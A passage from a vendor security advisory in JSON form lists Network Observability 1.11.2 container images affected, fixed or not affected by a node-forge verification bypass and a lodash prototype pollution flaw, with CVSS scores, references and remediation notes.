"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:9e495db6e28bb6e38b263557d303081ed3199039dc1e7d18c704be8b64d8dd18_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:c2a7793ccbaf491a6018f3dd63b10f29e205441d1dd7ca9184b1b46f6db4b199_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-operator-bundle@sha256:6cc2706d0f934502e78d4f4585e0787a84e6751ff946568c21dbe7a87df699df_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:3180d33b433733fc469a0a8b2bf613f137eba10fd75f8bc586066d4d303a3a5f_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:5938d399221a1f7ad395ea18adf0fd5274e009f1de48114bc4d07968566b7209_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:9b5e5c68ff2fdd5ca27e34e8eda5d0e8a230eea65cdfa768a6f6643c1a35da76_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:cfa8bd4f51b690217a305347ac412ee4efed2bdea695fa99f8f771c4f271b59c_arm64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2025-12816"
},
{
"category": "external",
"summary": "RHBZ#2417097",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2417097"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2025-12816",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-12816"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2025-12816",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-12816"
},
{
"category": "external",
"summary": "https://github.com/digitalbazaar/forge",
"url": "https://github.com/digitalbazaar/forge"
},
{
"category": "external",
"summary": "https://github.com/digitalbazaar/forge/pull/1124",
"url": "https://github.com/digitalbazaar/forge/pull/1124"
},
{
"category": "external",
"summary": "https://github.com/digitalbazaar/forge/security/advisories/GHSA-5gfm-wpxj-wjgq",
"url": "https://github.com/digitalbazaar/forge/security/advisories/GHSA-5gfm-wpxj-wjgq"
},
{
"category": "external",
"summary": "https://kb.cert.org/vuls/id/521113",
"url": "https://kb.cert.org/vuls/id/521113"
},
{
"category": "external",
"summary": "https://www.npmjs.com/package/node-forge",
"url": "https://www.npmjs.com/package/node-forge"
}
],
"release_date": "2025-11-25T19:15:50.243000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-02-18T08:39:41+00:00",
"details": "For details on how to apply this update, refer to:\n\nhttps://access.redhat.com/articles/11258",
"product_ids": [
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:17be6b67f5ed6757b65df0d59dc5d59130ee2e3510c60453de77fadfd7ca3c16_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:325db5ee476d5467e24748b6a66def44ff06e91e7e0665f43a49d7df9dbc9870_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:7ed8059b6fb8ccc57c6c6aca6c826e4b45db3079cdf6d2854dec467a94fe46ab_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:a9d0f02ab4310c5a2b2026f424a07d35bcd2ab74e5f9fabba10a2514bef29545_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:3f4b1539a41af46e0dcc3ee1e06d760b504448190cf1f5963171e504cbcb82e2_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:4cb55d496e82d09f2a9f57f1b676d24134b1e4f817e10d4535581d4cb2728502_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:77695f611b1122150c84ee648c674037c488007684d8644a5fc420e111e447b1_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:bb0f0e05c7bb037cd07c260a8fcea50fb62cc433d8cd504c4bb065f994c359c6_s390x"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:2900"
},
{
"category": "workaround",
"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.",
"product_ids": [
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:0c677aebfafea3f13c298396e9975da6fb392df0cef1b62df54d66b0f08376a3_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:472aaa4cabacdc52ecd2cd9d25710027612cc1c92a4a2685bf5321507028ec0d_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:9266caf90f473509cbd104e1d00b57a4695f16cf4e0be53819560821e0236461_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:a852fe93a3de2a35b3f13cfa0ea0600f9518d4b97c123353eb2b4f78202e7967_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:17be6b67f5ed6757b65df0d59dc5d59130ee2e3510c60453de77fadfd7ca3c16_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:325db5ee476d5467e24748b6a66def44ff06e91e7e0665f43a49d7df9dbc9870_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:7ed8059b6fb8ccc57c6c6aca6c826e4b45db3079cdf6d2854dec467a94fe46ab_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:a9d0f02ab4310c5a2b2026f424a07d35bcd2ab74e5f9fabba10a2514bef29545_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:3f4b1539a41af46e0dcc3ee1e06d760b504448190cf1f5963171e504cbcb82e2_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:4cb55d496e82d09f2a9f57f1b676d24134b1e4f817e10d4535581d4cb2728502_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:77695f611b1122150c84ee648c674037c488007684d8644a5fc420e111e447b1_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:bb0f0e05c7bb037cd07c260a8fcea50fb62cc433d8cd504c4bb065f994c359c6_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:0d23eb03050bcf371d44613a679456222b064cd3a6c17ea9a3c34f1ac7e3cbfc_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:619759fd4607dbb26e8ef0d47f50f8ec24323f0766167e4df15c51d6c31b9be7_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:e72278e61f7300880988fbac4e4e728e7f2ad14c3061ac39ece0d59a3cd5e228_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:f85ae8937c0d75a29dfe601110e5b358f8d92bb85bb43fff9bc88667ad43e4dc_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:84a41b297f620c777236b298ee3dca1656916757cfb043f96c035656f8b9c353_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:8b660cd90abfe68d05668562155759079e7012448c142234ea3a37e6ee41436d_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:9e495db6e28bb6e38b263557d303081ed3199039dc1e7d18c704be8b64d8dd18_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:c2a7793ccbaf491a6018f3dd63b10f29e205441d1dd7ca9184b1b46f6db4b199_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-operator-bundle@sha256:6cc2706d0f934502e78d4f4585e0787a84e6751ff946568c21dbe7a87df699df_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:3180d33b433733fc469a0a8b2bf613f137eba10fd75f8bc586066d4d303a3a5f_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:5938d399221a1f7ad395ea18adf0fd5274e009f1de48114bc4d07968566b7209_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:9b5e5c68ff2fdd5ca27e34e8eda5d0e8a230eea65cdfa768a6f6643c1a35da76_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:cfa8bd4f51b690217a305347ac412ee4efed2bdea695fa99f8f771c4f271b59c_arm64"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 8.7,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "CHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:0c677aebfafea3f13c298396e9975da6fb392df0cef1b62df54d66b0f08376a3_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:472aaa4cabacdc52ecd2cd9d25710027612cc1c92a4a2685bf5321507028ec0d_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:9266caf90f473509cbd104e1d00b57a4695f16cf4e0be53819560821e0236461_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:a852fe93a3de2a35b3f13cfa0ea0600f9518d4b97c123353eb2b4f78202e7967_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:17be6b67f5ed6757b65df0d59dc5d59130ee2e3510c60453de77fadfd7ca3c16_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:325db5ee476d5467e24748b6a66def44ff06e91e7e0665f43a49d7df9dbc9870_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:7ed8059b6fb8ccc57c6c6aca6c826e4b45db3079cdf6d2854dec467a94fe46ab_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:a9d0f02ab4310c5a2b2026f424a07d35bcd2ab74e5f9fabba10a2514bef29545_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:3f4b1539a41af46e0dcc3ee1e06d760b504448190cf1f5963171e504cbcb82e2_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:4cb55d496e82d09f2a9f57f1b676d24134b1e4f817e10d4535581d4cb2728502_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:77695f611b1122150c84ee648c674037c488007684d8644a5fc420e111e447b1_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:bb0f0e05c7bb037cd07c260a8fcea50fb62cc433d8cd504c4bb065f994c359c6_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:0d23eb03050bcf371d44613a679456222b064cd3a6c17ea9a3c34f1ac7e3cbfc_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:619759fd4607dbb26e8ef0d47f50f8ec24323f0766167e4df15c51d6c31b9be7_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:e72278e61f7300880988fbac4e4e728e7f2ad14c3061ac39ece0d59a3cd5e228_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:f85ae8937c0d75a29dfe601110e5b358f8d92bb85bb43fff9bc88667ad43e4dc_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:84a41b297f620c777236b298ee3dca1656916757cfb043f96c035656f8b9c353_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:8b660cd90abfe68d05668562155759079e7012448c142234ea3a37e6ee41436d_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:9e495db6e28bb6e38b263557d303081ed3199039dc1e7d18c704be8b64d8dd18_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:c2a7793ccbaf491a6018f3dd63b10f29e205441d1dd7ca9184b1b46f6db4b199_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-operator-bundle@sha256:6cc2706d0f934502e78d4f4585e0787a84e6751ff946568c21dbe7a87df699df_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:3180d33b433733fc469a0a8b2bf613f137eba10fd75f8bc586066d4d303a3a5f_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:5938d399221a1f7ad395ea18adf0fd5274e009f1de48114bc4d07968566b7209_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:9b5e5c68ff2fdd5ca27e34e8eda5d0e8a230eea65cdfa768a6f6643c1a35da76_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:cfa8bd4f51b690217a305347ac412ee4efed2bdea695fa99f8f771c4f271b59c_arm64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "node-forge: node-forge: Interpretation conflict vulnerability allows bypassing cryptographic verifications"
},
{
"cve": "CVE-2025-13465",
"cwe": {
"id": "CWE-1321",
"name": "Improperly Controlled Modification of Object Prototype Attributes (\u0027Prototype Pollution\u0027)"
},
"discovery_date": "2026-01-21T20:01:28.774829+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:0c677aebfafea3f13c298396e9975da6fb392df0cef1b62df54d66b0f08376a3_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:472aaa4cabacdc52ecd2cd9d25710027612cc1c92a4a2685bf5321507028ec0d_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:9266caf90f473509cbd104e1d00b57a4695f16cf4e0be53819560821e0236461_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:a852fe93a3de2a35b3f13cfa0ea0600f9518d4b97c123353eb2b4f78202e7967_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:0d23eb03050bcf371d44613a679456222b064cd3a6c17ea9a3c34f1ac7e3cbfc_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:619759fd4607dbb26e8ef0d47f50f8ec24323f0766167e4df15c51d6c31b9be7_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:e72278e61f7300880988fbac4e4e728e7f2ad14c3061ac39ece0d59a3cd5e228_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:f85ae8937c0d75a29dfe601110e5b358f8d92bb85bb43fff9bc88667ad43e4dc_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:84a41b297f620c777236b298ee3dca1656916757cfb043f96c035656f8b9c353_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:8b660cd90abfe68d05668562155759079e7012448c142234ea3a37e6ee41436d_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:9e495db6e28bb6e38b263557d303081ed3199039dc1e7d18c704be8b64d8dd18_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:c2a7793ccbaf491a6018f3dd63b10f29e205441d1dd7ca9184b1b46f6db4b199_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-operator-bundle@sha256:6cc2706d0f934502e78d4f4585e0787a84e6751ff946568c21dbe7a87df699df_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:3180d33b433733fc469a0a8b2bf613f137eba10fd75f8bc586066d4d303a3a5f_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:5938d399221a1f7ad395ea18adf0fd5274e009f1de48114bc4d07968566b7209_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:9b5e5c68ff2fdd5ca27e34e8eda5d0e8a230eea65cdfa768a6f6643c1a35da76_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:cfa8bd4f51b690217a305347ac412ee4efed2bdea695fa99f8f771c4f271b59c_arm64"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2431740"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Lodash. A prototype pollution vulnerability in the _.unset and _.omit functions allows an attacker able to control property paths to delete methods from global prototypes. By removing essential functionalities, this can result in a denial of service.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "lodash: prototype pollution in _.unset and _.omit functions",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This issue is only exploitable by applications using the _.unset and _.omit functions on an object and allowing user input to determine the path of the property to be removed. This issue only allows the deletion of properties but does not allow overwriting their behavior, limiting the impact to a denial of service. Due to this reason, this vulnerability has been rated with an important severity.\n\nIn Grafana, JavaScript code runs only in the browser, while the server side is all Golang. Therefore, the worst-case scenario is a loss of functionality in the client application inside the browser. To reflect this, the CVSS availability metric and the severity of the Grafana and the Grafana-PCP component have been updated to low and moderate, respectively.\n\nThe lodash dependency is bundled and used by the pcs-web-ui component of the PCS package. In Red Hat Enterprise Linux 8.10, the pcs-web-ui component is no longer included in the PCS package. As a result, RHEL 8.10 does not ship the vulnerable lodash component within PCS and is therefore not-affected by this CVE.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:17be6b67f5ed6757b65df0d59dc5d59130ee2e3510c60453de77fadfd7ca3c16_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:325db5ee476d5467e24748b6a66def44ff06e91e7e0665f43a49d7df9dbc9870_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:7ed8059b6fb8ccc57c6c6aca6c826e4b45db3079cdf6d2854dec467a94fe46ab_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:a9d0f02ab4310c5a2b2026f424a07d35bcd2ab74e5f9fabba10a2514bef29545_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:3f4b1539a41af46e0dcc3ee1e06d760b504448190cf1f5963171e504cbcb82e2_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:4cb55d496e82d09f2a9f57f1b676d24134b1e4f817e10d4535581d4cb2728502_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:77695f611b1122150c84ee648c674037c488007684d8644a5fc420e111e447b1_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:bb0f0e05c7bb037cd07c260a8fcea50fb62cc433d8cd504c4bb065f994c359c6_s390x"
],
"known_not_affected": [
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:0c677aebfafea3f13c298396e9975da6fb392df0cef1b62df54d66b0f08376a3_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:472aaa4cabacdc52ecd2cd9d25710027612cc1c92a4a2685bf5321507028ec0d_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:9266caf90f473509cbd104e1d00b57a4695f16cf4e0be53819560821e0236461_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:a852fe93a3de2a35b3f13cfa0ea0600f9518d4b97c123353eb2b4f78202e7967_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:0d23eb03050bcf371d44613a679456222b064cd3a6c17ea9a3c34f1ac7e3cbfc_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:619759fd4607dbb26e8ef0d47f50f8ec24323f0766167e4df15c51d6c31b9be7_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:e72278e61f7300880988fbac4e4e728e7f2ad14c3061ac39ece0d59a3cd5e228_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:f85ae8937c0d75a29dfe601110e5b358f8d92bb85bb43fff9bc88667ad43e4dc_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:84a41b297f620c777236b298ee3dca1656916757cfb043f96c035656f8b9c353_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:8b660cd90abfe68d05668562155759079e7012448c142234ea3a37e6ee41436d_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:9e495db6e28bb6e38b263557d303081ed3199039dc1e7d18c704be8b64d8dd18_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:c2a7793ccbaf491a6018f3dd63b10f29e205441d1dd7ca9184b1b46f6db4b199_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-operator-bundle@sha256:6cc2706d0f934502e78d4f4585e0787a84e6751ff946568c21dbe7a87df699df_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:3180d33b433733fc469a0a8b2bf613f137eba10fd75f8bc586066d4d303a3a5f_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:5938d399221a1f7ad395ea18adf0fd5274e009f1de48114bc4d07968566b7209_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:9b5e5c68ff2fdd5ca27e34e8eda5d0e8a230eea65cdfa768a6f6643c1a35da76_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:cfa8bd4f51b690217a305347ac412ee4efed2bdea695fa99f8f771c4f271b59c_arm64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2025-13465"
},
{
"category": "external",
"summary": "RHBZ#2431740",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2431740"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2025-13465",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-13465"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2025-13465",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-13465"
},
{
"category": "external",
"summary": "https://github.com/lodash/lodash/security/advisories/GHSA-xxjr-mmjv-4gpg",
"url": "https://github.com/lodash/lodash/security/advisories/GHSA-xxjr-mmjv-4gpg"
}
],
"release_date": "2026-01-21T19:05:28.846000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-02-18T08:39:41+00:00",
"details": "For details on how to apply this update, refer to:\n\nhttps://access.redhat.com/articles/11258",
"product_ids": [
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:17be6b67f5ed6757b65df0d59dc5d59130ee2e3510c60453de77fadfd7ca3c16_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:325db5ee476d5467e24748b6a66def44ff06e91e7e0665f43a49d7df9dbc9870_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:7ed8059b6fb8ccc57c6c6aca6c826e4b45db3079cdf6d2854dec467a94fe46ab_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:a9d0f02ab4310c5a2b2026f424a07d35bcd2ab74e5f9fabba10a2514bef29545_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:3f4b1539a41af46e0dcc3ee1e06d760b504448190cf1f5963171e504cbcb82e2_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:4cb55d496e82d09f2a9f57f1b676d24134b1e4f817e10d4535581d4cb2728502_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:77695f611b1122150c84ee648c674037c488007684d8644a5fc420e111e447b1_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:bb0f0e05c7bb037cd07c260a8fcea50fb62cc433d8cd504c4bb065f994c359c6_s390x"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:2900"
},
{
"category": "workaround",
"details": "To mitigate this issue, implement strict input validation before passing any property paths to the _.unset and _.omit functions to block attempts to access the prototype chain. Ensure that strings like __proto__, constructor and prototype are blocked, for example.",
"product_ids": [
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:0c677aebfafea3f13c298396e9975da6fb392df0cef1b62df54d66b0f08376a3_arm64",
